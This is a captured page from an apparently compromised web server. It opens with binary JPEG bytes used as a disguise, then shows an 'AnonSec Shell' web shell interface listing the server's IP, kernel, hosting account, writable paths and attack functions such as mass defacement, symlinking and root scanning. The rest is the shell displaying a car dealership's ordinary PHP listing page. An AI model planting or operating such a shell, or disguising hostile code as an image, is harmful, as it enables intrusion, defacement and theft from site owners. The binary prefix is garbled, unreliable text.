JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 46.28.45.50  /  Your IP : 216.73.217.98   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u215115003/domains/luxurymotorz.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u215115003/domains/luxurymotorz.com/public_html/new-arrival.php
<?php require_once ("config/config.inc.php");

//car varient

$varient_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE car_varient_status='Active' AND new_arrival = 'Yes' GROUP BY car_varient_name  ORDER BY car_varient_id  desc";

$varient_stmt = $DB->prepare($varient_sql);

$varient_stmt->execute();

$varient_rs = $varient_stmt->fetchAll();

?>

<?php include "include/header.inc.php" ?>

<div class="inner-page-banner">

    <div class="banner-wrapper">

        <div class="container-fluid">

            <div class="banner-main-content-wrap">

                <div class="row">

                    <div class="col-xl-6 col-lg-5 d-lg-flex d-none align-items-center justify-content-end">

                    </div>

                </div>

            </div>

        </div>

    </div>

</div>

<div class="most-search-area mb-100">

    <div class="container">

        <div class="row mb-50 wow fadeInUp" data-wow-delay="200ms">

            <div class="col-lg-12">

                <div class="section-title-2 text-center">

                    <h2>New Arrival </h2>

                </div>

            </div>

        </div>

        <div class="row wow fadeInUp" data-wow-delay="300ms">

            <div class="col-lg-12">

                <div class="browse-car-filter-area">

                    <ul class="nav nav-tabs" id="myTab3" role="tablist">

                        <li class="nav-item" role="presentation"
                            style="margin-top: 10px;display:flex; justify-content:center;align-items:center;">

                            <button class="nav-link active" id="popular-tab" data-bs-toggle="tab"
                                data-bs-target="#popular" type="button" role="tab" aria-controls="popular"
                                aria-selected="true">All

                                Brands</button>

                        </li>

                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="mercedes-tab" data-bs-toggle="tab" data-bs-target="#mercedes"
                                type="button" role="tab" aria-controls="mercedes" aria-selected="false"><img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/merchedes-benz.png"
                                    alt></button>

                        </li>



                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="bmw-tab" data-bs-toggle="tab" data-bs-target="#bmw"
                                type="button" role="tab" aria-controls="bmw" aria-selected="false"><img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/bmw.png" alt></button>

                        </li>

                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="jaguar-tab" data-bs-toggle="tab" data-bs-target="#jaguar"
                                type="button" role="tab" aria-controls="jaguar" aria-selected="false"> <img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/jaguar.png" alt></button>

                        </li>

                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="range-tab" data-bs-toggle="tab" data-bs-target="#range"
                                type="button" role="tab" aria-controls="range" aria-selected="false"><img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/range-rover.png"
                                    alt></button>

                        </li>

                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="audi-tab" data-bs-toggle="tab" data-bs-target="#audi"
                                type="button" role="tab" aria-controls="audi" aria-selected="false"> <img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/audi.png" alt></button>

                        </li>


                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="porsche-tab" data-bs-toggle="tab" data-bs-target="#porsche"
                                type="button" role="tab" aria-controls="porsche" aria-selected="false"> <img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/porshe.png" alt></button>

                        </li>


                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="lexsus-tab" data-bs-toggle="tab" data-bs-target="#lexsus"
                                type="button" role="tab" aria-controls="lexsus" aria-selected="false"> <img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/lexsus.png" alt></button>

                        </li>

                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="jeep-tab" data-bs-toggle="tab" data-bs-target="#jeep"
                                type="button" role="tab" aria-controls="jeep" aria-selected="false"><img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/jeep.png" alt></button>

                        </li>



                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="toyota-tab" data-bs-toggle="tab" data-bs-target="#toyota"
                                type="button" role="tab" aria-controls="toyota" aria-selected="false"> <img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/toyota.png" alt></button>

                        </li>



                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="kia-tab" data-bs-toggle="tab" data-bs-target="#kia"
                                type="button" role="tab" aria-controls="kia" aria-selected="false"> <img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/kia.png" alt></button>

                        </li>

                        <li class="nav-item" role="presentation">

                            <button class="nav-link" id="honda-tab" data-bs-toggle="tab" data-bs-target="#honda"
                                type="button" role="tab" aria-controls="honda" aria-selected="false"> <img
                                    class="browse-icon" src="<?= MAIN_DIR ?>img/brand-icons/honda.png" alt></button>

                        </li>
                    </ul>

                </div>

            </div>

        </div>

        <div class="row">

            <div class="col-lg-12">

                <div class="tab-content" id="myTab3Content">

                    <div class="tab-pane fade show active" id="popular" role="tabpanel" aria-labelledby="popular-tab">

                        <div class="row g-4">

                            <?php foreach ($varient_rs as $varient) { ?>

                                <div class="col-xl-4 col-md-6 col-lg-4 col-sm-12 wow fadeInUp" data-wow-delay="200ms">

                                    <div class="listing-item new-arrival">

                                        <button class="fav1 compare-button"
                                            data-product-id="<?= $varient['car_varient_id'] ?>">

                                            <i class="bi bi-heart-fill"></i>

                                        </button>
                                        <a
                                            href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                            <li class="product-card1">
                                                <span class="item-inner">

                                                    <div class="slider-group">
                                                        <?php if ($varient['booked'] === "YES") { ?>

                                                            <div class="booked-img"><img
                                                                    src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                    alt="">

                                                            </div>

                                                        <?php } ?>
                                                        <div class="img-grpslider">

                                                            <div class="img-grp">
                                                                <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                    alt="<?= $varient['car_varient_name'] ?>">
                                                            </div>
                                                        </div>

                                                    </div>

                                                    <span class="cntnt-grp p-0">

                                                        <h6>

                                                            <?= $varient['car_brand_name'] ?>

                                                            <?= $varient['car_model_name'] ?>

                                                            <?= $varient['car_varient_name'] ?>

                                                        </h6>

                                                        <span class="price-modelname">

                                                            <div class="price-latest">

                                                                <span class="total_price"
                                                                    sellamount="<?= $varient['discounted_price'] ?>">

                                                                    <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                </span>
                                                                <?php if ($varient['original_price'] > 0) { ?>
                                                                <del>

                                                                    <?= '₹' . formatInr($varient['original_price']) ?>

                                                                </del>
                                                                <?php } ?>
                                                            </div>

                                                            <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                    <?= emi_amount($varient['discounted_price']) ?>
                                                                </span></span>

                                                        </span>

                                                        <ul class="list-items">

                                                            <li class="model s10">

                                                                <span class="li-innr button">

                                                                    <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                            style="width:20px;"></span>

                                                                    <span class="val">

                                                                        <?= substr($varient['year'], 0, 4) ?>

                                                                    </span>

                                                                </span>

                                                            </li>

                                                            <li class="kms s10">

                                                                <span class="li-innr button">

                                                                    <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                            style="width:20px;"></span>

                                                                    <span class="val">

                                                                        <?= formatInr($varient['milage']) ?>

                                                                    </span>

                                                                </span>

                                                            </li>

                                                            <li class="fueltype s10">

                                                                <span class="li-innr button">

                                                                    <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                            style="width:20px;"></span>

                                                                    <span class="val">

                                                                        <?= $varient['fuel_type'] ?>

                                                                    </span>

                                                                </span>

                                                            </li>

                                                            <li class="fueltype s10">

                                                                <span class="li-innr button owner">

                                                                    <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                            style="width:20px;"></span>

                                                                    <span class="val">

                                                                        <?= $varient['no_of_owners'] ?>

                                                                    </span>

                                                                </span>

                                                            </li>

                                                            <li class="fueltype s10">

                                                                <span class="li-innr button">

                                                                    <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                            style="width:20px;"></span>

                                                                    <span class="val">

                                                                        <?= $varient['gear_type'] ?>

                                                                    </span>

                                                                </span>

                                                            </li>

                                                            <li class="fueltype s10">

                                                                <span class="li-innr button">

                                                                    <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                            style="width:20px;"></span>

                                                                    <span class="val">

                                                                        <?= $varient['insurance'] ?>

                                                                    </span>

                                                                </span>

                                                            </li>

                                                        </ul>

                                                    </span>

                                                </span>
                                            </li>
                                        </a>

                                    </div>

                                </div>

                            <?php } ?>

                        </div>

                    </div>

                    <div class="tab-pane fade" id="mercedes" role="tabpanel" aria-labelledby="mercedes-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Mercedes Benz' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="bmw" role="tabpanel" aria-labelledby="bmw-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'BMW' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="range" role="tabpanel" aria-labelledby="range-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Range Rover' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="lexsus" role="tabpanel" aria-labelledby="lexsus-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Lexsus' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

